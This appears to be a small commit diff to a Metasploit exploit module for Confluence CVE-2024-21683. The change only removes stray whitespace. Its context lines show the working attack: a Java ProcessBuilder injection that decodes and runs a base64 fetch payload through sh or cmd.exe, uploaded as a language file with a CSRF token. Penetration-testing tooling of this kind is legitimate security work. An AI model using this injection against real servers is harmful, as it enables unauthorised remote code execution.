Remove two whitespaces that snuck in

Author: remmons-r7

modules/exploits/multi/http/atlassian_confluence_rce_cve_2024_21683.rb

@@ -184,10 +184,10 @@ def upload_payload(shell)
 
     # Initialize a multipart form.
     payload_form = Rex::MIME::Message.new
-    
+
     # ProcessBuilder string - this will inject the sh/cmd.exe sequence as the first two args and decode the base64 msf fetch payload as the third.
     payload_string = "new java.lang.ProcessBuilder(#{shell}, new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(payload.encoded)}'))).start()"
-    
+
     # Add the CSRF token, payload file, and 'newLanguageName' value. Both the 'languageFile' name and the 'newLanguageName' value can be any string.
     payload_form.add_part(csrf_macro, 'text/plain', 'binary', 'form-data; name="atl_token"')
     payload_form.add_part(payload_string, 'text/plain', 'binary', "form-data; name=\"languageFile\"; filename=\"#{rand_text_hex(10)}\"")